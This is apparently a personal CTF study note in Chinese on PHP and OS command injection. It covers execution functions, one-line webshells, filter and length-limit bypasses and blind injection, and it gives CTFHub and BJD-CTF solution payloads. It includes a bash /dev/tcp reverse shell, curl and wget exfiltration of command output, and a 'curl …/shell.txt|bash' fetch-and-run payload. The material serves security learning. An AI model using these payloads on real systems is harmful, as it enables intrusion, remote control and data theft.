命令执行
命令执行 目前了解的知识还有限,先简单总结一些有遇到过的 以后遇到新题目会补充
PHP命令执行 相关常见函数:${php代码} assert() 普通调用
1 <?php assert($_POST ['a' ]);?>
动态调用
1 2 3 4 <?php $a = 'assert' ; $a ($_POST ['a' ]); ?>
注:php7.0.29后有改动
1 2 3 4 <?php $a = 'assert' ; $a (phpinfo()); ?>
system()
shell_exec()
1 echo shell_exec("ls -a" );
exec()
eval() : 将字符串按照php代码来执行 shell_exec():执行shell命令并返回输出的字符串
passthru 执行给定的命令,但是不返回任何输出结果,直接输出到显示设备上
1 void passthru (string command [, int return_var])
含有该漏洞的一些框架 较低版本的Struts2、ThinkPHP
常用绕过手段 分隔符
1 2 linux: %0 a %0 d windows: %0 a & | %la
1 2 3 4 5 ; ->从左到右连续执行命令 & ->简单拼接 && -> "逻辑与" ,前面执行成功后面才会执行 | -> || ->"逻辑或" 前面失败,后面执行
绕过空格 ${IFS}、${IFS}$9|、$IFS$9、%0a、<>
fuzz:%00~%ff
绕过敏感字符 拼接绕过
trick:有时可以调整顺序绕过正则
借用已有字符 substr
$()
执行代码
1 ?shell =$a ="xxx" ;$a ("whoami" );
base64编码绕过 1 2 3 4 5 6 7 [root@ ~ ]# echo 'cat' | base64 Y2F0Cg== [root@ ~ ]# echo 'hello' > test.txt [root@ ~ ]# cat test.txt hello [root@ ~ ]# `echo 'Y2F0Cg=='| base64 -d` test.txt hello
绕过长度限制 七字符长度限制 例如要读取flag.php
1 2 3 4 5 6 7 8 9 >"hp\\ " >".p\\ " >"ag\\ " >"fl\\ " >"t+\\ " >"ca\\ " ls -t>_ sh _
新建一个 xx\ 文件 ls -t按时间顺序将输出到名字叫_的文件中 sh 执行文件内容
五字符长度限制 1 2 3 4 5 6 7 8 9 10 11 <?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER ['REMOTE_ADDR' ]); @mkdir($sandbox ); @chdir($sandbox ); if (isset ($_GET ['cmd' ]) && strlen($_GET ['cmd' ]) <= 5 ) { @exec($_GET ['cmd' ]); } else if (isset ($_GET ['reset' ])) { @exec('/bin/rm -rf ' . $sandbox ); } highlight_file(__FILE__ ); ?>
像上面的命令中 ls -t>_
是最长的长度,这里需要突破的就是构造这条
四字符长度限制 1 2 3 4 [root@izbp15j82tplbsbdrdv1kgz cmd]# ls echo hello [root@izbp15j82tplbsbdrdv1kgz cmd]# * hello
这里*
等同于echo hello
,相当于把列出的第一个文件名当命令,第二个文件名当参数
要凑的命令是ls -th>g
这里要利用rev
进行反转,所以在反转之前我们希望ls可以看到g>ht- sl
,但是这里正常的字母顺序是g s t,因为希望t在前所以增加个参数h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 > dir > sl > g\> > ht- [root@izbp15j82tplbsbdrdv1kgz four]# ls dir g> ht- sl [root@izbp15j82tplbsbdrdv1kgz four]# * //此时相当于$(dir *) g> ht- sl [root@izbp15j82tplbsbdrdv1kgz four]# *>v //把 g> ht- sl写入文件v [root@izbp15j82tplbsbdrdv1kgz four]# >rev //写一个文件rev [root@izbp15j82tplbsbdrdv1kgz four]# ls //看看当前有啥 dir g> ht- rev sl v [root@izbp15j82tplbsbdrdv1kgz four]# *v>x //这里利用了通配符*去匹配到了rev,这里就相当于 rev v>x [root@izbp15j82tplbsbdrdv1kgz four]# cat x ls -th >g [root@izbp15j82tplbsbdrdv1kgz four]# sh x [root@izbp15j82tplbsbdrdv1kgz four]# cat g g x rev v ht- g> sl dir
可以利用这个方式来写马和反弹shell
无回显命令注入 反弹shell 最基本的利用场景 (攻击机)vps上监听2333端口
(靶机)kali上输入:
1 bash -i >& /dev/ tcp/ip/ port 0 >&1
ip为vps的公网ip,port为开放的端口 攻击机getshell,获得靶机的控制权,靶机无法退出
HTTP外带 1 2 curl example .com/`whoami` wget example .com/$(id|base64 )
dnslog外带 ceye平台 在profile页可以看到属于自己的域名
根据平台上提供的payload,做简单实验 curl发起http请求whoami
被执行 DNS Query可以带着执行结果回显
写入文件后再访问
命令盲注 主要是DASCTF五月赛web1感受到的考点,不通外网的无回显命令注入(一开始直接扫到flag真的震惊
一开始出现很多非预期,例如直接把flag重定向到某个文件中直接读
1 2 echo `cat /flag` > 1 cat 1
示例
预期解是命令盲注 (对Linux命令太陌生了,我晕)
布尔盲注 1 2 3 4 5 6 7 8 9 [root @ ~] # l$(whoami | cut -c 1 | tr a s ) -bash: lr: command not found [root @ ~] # l$(whoami | cut -c 1 | tr r s ) 命令成功执行 [root @ ~] # l$(whoami | cut -c 2 | tr r s ) -bash: lo: command not found [root @ ~] # l$(whoami | cut -c 2 | tr o s ) 命令成功执行
cut -c 1 提取结果的第一个字符
tr将a、r替换成s
时间盲注 1 2 3 sleep $(whoami | cut -c 1 | tr a 1) sleep $(whoami | cut -c 1 | tr r 1)
和上面类似,若为r则延时1s
记一个不使用vps进行注入的博文(我也想做梦了)https://www.cnblogs.com/blili/p/9045280.html
一些绕过WAF防火墙的tips 通配符绕过
利用”空值” 在Linux的bash下有一些符号会被认为是空,可以用来绕过一些限制
花括号扩展
1 2 3 4 [root@ ~ ]# echo a{b,c} ab ac [root@ ~ ]# {ls,./} 执行ls结果
CTF-Hub RCE 命令注入-无过滤 1 2 3 4 if (isset ($_GET ['ip' ]) && $_GET ['ip' ]) { $cmd = "ping -c 4 {$_GET['ip']} " ; exec($cmd , $res ); }
1 2 3 4 5 6 7 Array ( [0] => . [1] => .. [2] => 581882612214 .php [3] => index.php )
1 127.0.0.1 |cat 581882612214 .php
F12就能看到
过滤cat 1 2 3 4 5 6 7 8 9 10 if (isset ($_GET ['ip' ]) && $_GET ['ip' ]) { $ip = $_GET ['ip' ]; $m = []; if (!preg_match_all("/cat/" , $ip , $m )) { $cmd = "ping -c 4 {$ip} " ; exec($cmd , $res ); } else { $res = $m ; } }
127.0.0.1|ls 看到flagblabla.php
绕过cat的方法单双引号+反斜杠
1 2 3 127.0.0.1 |c'a't flag_314923142532007.php127.0.0.1 |c"a" t flag_314923142532007.php127.0.0.1 |c\a\t flag_314923142532007.php
过滤空格 1 2 3 4 5 6 7 8 9 10 11 12 <?php $res = FALSE ;if (isset ($_GET ['ip' ]) && $_GET ['ip' ]) { $ip = $_GET ['ip' ]; $m = []; if (!preg_match_all("/ /" , $ip , $m )) { $cmd = "ping -c 4 {$ip} " ; exec($cmd , $res ); } else { $res = $m ; } }?>
payload:
1 2 3 4 5 6 127.0.0.1 |ls127.0.0.1 |cat$IFS$9flag_252091676416142.phpor 127.0.0.1 |cat${IFS}flag_252091676416142.phpor 127.0.0.1 |cat${IFS}$9flag_252091676416142.php
过滤目录分隔符 题目:
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
1 2 3 4 5 6 7 8 9 10 11 12 <?php $res = FALSE ;if (isset ($_GET ['ip' ]) && $_GET ['ip' ]) { $ip = $_GET ['ip' ]; $m = []; if (!preg_match_all("/\//" , $ip , $m )) { $cmd = "ping -c 4 {$ip} " ; exec($cmd , $res ); } else { $res = $m ; } }?>
payload
这次flag是在一个目录之下
1 2 3 4 5 Array ( [0 ] => flag_is_here [1 ] => index.php )
1 2 3 4 5 127.0.0.1 |ls $IFS$9flag_is_hereor 127.0.0.1 ;cd flag_is_here;ls127.0.0.1 ;cd flag_is_here;cat flag_15476372413684.php
过滤运算符 1 2 3 4 5 6 7 8 9 10 11 12 <?php $res = FALSE ;if (isset ($_GET ['ip' ]) && $_GET ['ip' ]) { $ip = $_GET ['ip' ]; $m = []; if (!preg_match_all("/(\||\&)/" , $ip , $m )) { $cmd = "ping -c 4 {$ip} " ; exec($cmd , $res ); } else { $res = $m ; } }?>
1 2 127.0.0.1 ;ls127.0.0.1 ;cat flag....php
。。。就这么过了?
综合过滤练习 1 2 3 4 5 6 7 8 9 10 11 12 <?php $res = FALSE ;if (isset ($_GET ['ip' ]) && $_GET ['ip' ]) { $ip = $_GET ['ip' ]; $m = []; if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/" , $ip , $m )) { $cmd = "ping -c 4 {$ip} " ; exec($cmd , $res ); } else { $res = $m ; } }?>
哦豁 payload 注意:这里使用%0a分割的时候要在url里,否则会被再次编码
1 2 3 4 ?ip=127.0 .0 .1 %0als ?ip=127.0 .0 .1 %0acd${IFS}$f***_is_here%0amore${IFS}$f*** or ?ip=127.0 .0 .1 %0acd${IFS}$f***_is_here%0a'ca' t${IFS}$fl'a' g
还有base64转编码的方式没使用,下次一定
GXY-CTF PingPingPing BJD-CTF duangshell url/.index.php.swp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0 ); echo "how can i give you source code? .swp?!" ."<br>" ;if (!isset ($_POST ['girl_friend' ])) { die ("where is P3rh4ps's girl friend ???" ); } else { $girl = $_POST ['girl_friend' ]; if (preg_match('/\>|\\\/' , $girl )) { die ('just girl' ); } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i' , $girl )) { echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->" ; } else { exec($girl ); } }
好像都被禁得差不多了。。 应该是反弹shell
一开始很费解为什么弹不出来,后来发现没注意靶机无法连接外网。。所以开个小号启动个内部靶机
看ip
在靶机中写一个shell.txt
注:这题是要写在/var/www/html中
1 bash -i >& /dev/ tcp/ip/ 2333 0 >&1
在vps上
POST:
1 girl_friend =curl 174.1 .12.79 /shell.txt|bash
参考:http://wp.blkstone.me/2018/06/abusing-arbitrary-file-read/
https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/
https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/#%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87
https://www.tr0y.wang/2019/05/13/OS%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97
http://www.secist.com/archives/3854.html
https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/8125#toc-2